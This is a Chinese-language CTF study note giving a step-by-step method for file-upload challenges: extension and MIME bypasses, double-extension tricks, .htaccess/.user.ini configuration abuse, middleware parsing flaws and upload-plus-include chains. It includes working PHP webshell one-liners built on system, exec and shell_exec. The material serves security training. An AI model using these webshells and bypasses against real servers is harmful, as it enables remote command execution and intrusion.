跳至正文
回到 CTF Notes
CTF WEB NOTES05 / 08

围绕校验、存储、解析和后续利用整理的文件上传题型思路。

CTF 文件上传题思路#


0. 先建立总思路#

文件上传题本质上一般分成四类:

第一类:直接上传脚本拿 WebShell#

例如 .php.phtml.asp.jsp 直接可执行。

第二类:上传后不能执行,但可通过解析漏洞触发#

例如:

  • file.php.jpg
  • file.jpg/.php
  • Nginx/Apache 特殊配置解析
  • IIS 分号解析

第三类:上传后不能直接执行,但可借助包含漏洞触发#

例如先上传图片马,再配合 include($_GET['file']) 执行。

第四类:上传配置文件改解析规则#

例如:

  • .htaccess
  • .user.ini
  • web.config

所以做题时不要一上来就只想着“传一句话木马连蚁剑”,而是要先判断题目属于哪一类。


1. 第一步:信息收集#

先别急着上传木马,先看页面和源码。

重点看:

  • 表单是否有 enctype="multipart/form-data"
  • 是否有前端 JS 校验
  • 是否有提示文字
  • 是否回显上传路径
  • 是否给出文件预览
  • 是否会重命名文件

还要查看:

  • 页面源码
  • 外链 JS
  • 抓包请求和响应
  • 响应头中的 ServerX-Powered-By

需要关注的核心信息#

  • 上传目录在哪里
  • 文件名是否被重命名
  • 是否保留原扩展名
  • 是否存在额外参数
  • 服务器是什么中间件
  • PHP / Apache / Nginx / IIS / Tomcat / JSP 环境是什么

这一阶段的目标不是利用,而是摸清规则


2. 第二步:先做最小测试#

上传一个正常图片,观察结果:

  • 是否成功上传
  • 返回路径是什么
  • 文件名是否被改
  • 文件内容是否可访问
  • 是否有缩略图/重新渲染

然后上传一个测试型文件,不要一开始就传一句话木马。

推荐测试内容:

<?php echo "TEST123"; ?>

如果要伪装图片头:

GIF89a<?php echo "TEST123"; ?>

目的是快速判断:

  • 文件是否会被解析
  • 是否只是静态返回
  • 是否被二次处理
  • 上传后代码是否仍保留

3. 第三步:区分“前端校验”和“后端校验”#

这是上传题最重要的一步。

前端校验特征#

一般在 JS 里出现:

  • 后缀名检查
  • MIME 检查
  • 文件大小检查

例如:

var allow_ext = ".jpg|.png|.gif";

这种可以直接抓包绕过。

后端校验特征#

改包后如果仍然报:

  • Bad file
  • Invalid type
  • Upload failed
  • Only image allowed

说明后端也有校验。

这时就要进一步判断服务端用的是:

  • 白名单
  • 黑名单
  • MIME 检查
  • 文件头检查
  • 内容检测
  • 真实图片重渲染

4. 第四步:判断上传后文件的命运#

上传成功不等于可利用。

必须判断文件最终发生了什么:

1. 原样保存#

最理想,代码还在,只看能不能解析。

2. 重命名保存#

需要以后都用返回路径访问。

3. 强制改后缀#

例如无论传什么都改成 .jpg

4. 移动到固定目录#

例如 /upload/2026/03/xx.jpg

5. 二次处理#

例如图片被 GD/Imagick 重采样,此时文件里的 PHP 代码可能已经消失。

6. 不能直接访问#

可能被存在非 Web 目录,只能通过包含或后台功能触发。

这一点必须用访问返回路径、抓响应体、看文件内容来验证。


5. 第五步:直接枚举可执行扩展名#

如果是 PHP 题,常见扩展名要一轮全测:

.php
.phtml
.php3
.php4
.php5
.pht
.phar
.inc

Java 题常见:

.jsp
.jspx
.jspf

ASP/IIS 常见:

.asp
.aspx
.asa
.cer

怎么测#

不是只看“能不能上传成功”,还要看:

  • 返回路径后缀是什么
  • 访问后是否执行
  • 是否下载源码
  • 是否 404
  • 是否返回 500

很多题真正突破口就是 .phtml.pht.phar 这种被遗漏的扩展。


6. 第六步:测试双后缀和解析特性#

常见形式:

shell.php.jpg
shell.jpg.php
shell.phtml.jpg
shell.jpg.phtml

很多过滤逻辑会犯这些错:

  • 只检查第一个点前后
  • 只检查最后一个扩展
  • 只做字符串包含判断
  • 没考虑大小写

因此也要测:

shell.PHP
shell.pHp
shell.phtml.
shell.php%20
shell.php.

有些环境对末尾点、空格、大小写处理不一致。


7. 第七步:测试 MIME 和文件头绕过#

有些服务端会检查:

  • Content-Type
  • 文件魔数
  • 文件头内容

这时常见绕过有:

修改 Content-Type#

例如把脚本文件伪装成:

image/jpeg
image/png
image/gif

添加图片头#

例如:

GIF89a<?php ... ?>

伪造 JPEG 头#

例如前几个字节伪装成图片格式。

但要注意,这类绕过只解决“上传”问题,不一定解决“执行”问题。


8. 第八步:配置文件打法#

当脚本扩展名都被拦住,但服务器是 Apache / PHP-FPM / IIS 时,要想到配置文件。

Apache#

  • .htaccess

常见内容:

AddType application/x-httpd-php .jpg

或者:

SetHandler application/x-httpd-php

PHP-FPM / CGI#

  • .user.ini

例如:

auto_prepend_file=shell.jpg

IIS#

  • web.config

利用 IIS 的脚本映射规则。

但是否能用,取决于:

  • 文件名能不能保持固定
  • 上传目录是否允许配置生效
  • 服务器是否启用了相关特性

9. 第九步:解析漏洞与中间件特性#

不同中间件需要不同打法。

Apache#

重点看:

  • .phtml
  • .htaccess
  • 多扩展解析
  • 某些 handler 配置

Nginx / OpenResty#

重点看:

  • 路径解析
  • fastcgi_split_path_info
  • file.jpg/1.php
  • 特殊 location 匹配问题

IIS#

重点看:

  • 分号解析
  • shell.asp;.jpg
  • 目录名解析
  • ::$DATA

Tomcat / JSP#

重点看:

  • .jsp
  • .jspx
  • war 包部署
  • 特定目录上传执行

PHP 版本问题#

老版本 PHP 常见:

  • %00 截断
  • 路径处理缺陷

10. 第十步:文件包含联动#

如果上传后文件不执行,但可以访问,下一步就要想:

能不能被 include / require 到?

重点找参数:

?page=
?file=
?path=
?include=
?lang=
?template=

如果存在文件包含漏洞,就可以先上传图片马:

GIF89a<?php system($_GET['cmd']); ?>

再通过包含路径触发执行。

这类题往往是:

  • 单独看上传点没法 RCE
  • 单独看包含点也拿不到文件
  • 两者结合刚好形成利用链

11. 第十一步:判断是否重采样或杀代码#

这是很多人容易忽略的一步。

如果站点对图片做了重渲染,比如用 GD、Imagick 重新生成图片,那么你写进文件里的 PHP 代码可能已经没了。

判断办法:

  • 对比上传前后文件大小
  • 抓取返回文件内容
  • 检查是否仍保留你的原始 payload
  • 看是否从 GIF89a<?php ... ?> 变成了真正二进制图片

如果代码已被清洗,就不要再浪费时间在图片马上了。


12. 第十二步:拿到执行后怎么稳一点#

成功上传脚本后,不要急着上蚁剑,先最小化验证。

推荐分三步:

1. 输出测试#

<?php echo "OK123"; ?>

2. 函数测试#

<?php phpinfo(); ?>

3. 命令执行#

<?php system($_GET['cmd']); ?>

如果 system 被禁,再试:

<?php passthru($_GET['cmd']); ?>
<?php exec($_GET['cmd']); ?>
<?php shell_exec($_GET['cmd']); ?>

如果命令执行函数都被禁,可以考虑:

  • 文件读写
  • 反弹 shell
  • 利用其他函数链
  • assertpreg_replace /e 之类旧环境漏洞

13. 第十三步:常见误区#

误区一:上传成功就以为拿下了#

很多时候文件只是被保存,根本不执行。

误区二:一句话木马没回显就以为失败#

可能只是参数不对,或者页面空白,先用 echo / phpinfo() 做测试。

误区三:只盯着 .php#

很多题真正考点恰恰是 .phtml.phar.pht

误区四:忽略错误页泄露#

404/500 页面经常直接告诉你后端是 Apache、Nginx 还是 IIS。

误区五:只想直连 WebShell#

不少题必须通过“上传 + 包含”或“上传 + 配置文件”组合利用。


14. 最后的实战流程清单#

以后你做上传题,可以直接按下面这个顺序:

第一步:看源码、JS、抓包#

搞清楚前端限制、上传接口、返回路径。

第二步:传正常图片#

确认目录、命名规则、访问规则。

第三步:传测试 payload#

判断是否解析、是否重采样。

第四步:区分前后端校验#

能否通过改包绕过。

第五步:枚举可执行扩展名#

先测 .php,再测 .phtml.pht.phar 等。

第六步:测双后缀、大小写、点号、空格#

看过滤逻辑是否存在缺陷。

第七步:测 MIME、文件头#

解决上传阶段限制。

第八步:判断中间件#

Apache、Nginx、IIS、Tomcat 路线不同。

第九步:考虑配置文件#

.htaccess`、`.user.ini`、`web.config

第十步:考虑联动漏洞#

找文件包含、模板引用、后台文件管理器等二次利用点。

第十一步:拿到执行后稳步扩展#

先测试回显,再命令执行,再拿 flag。


15. 一句话版通杀口诀#

先看前端,后看后端;先测上传,后测解析;先枚举扩展,后试配置文件;不执行就找包含,能执行再拿 shell。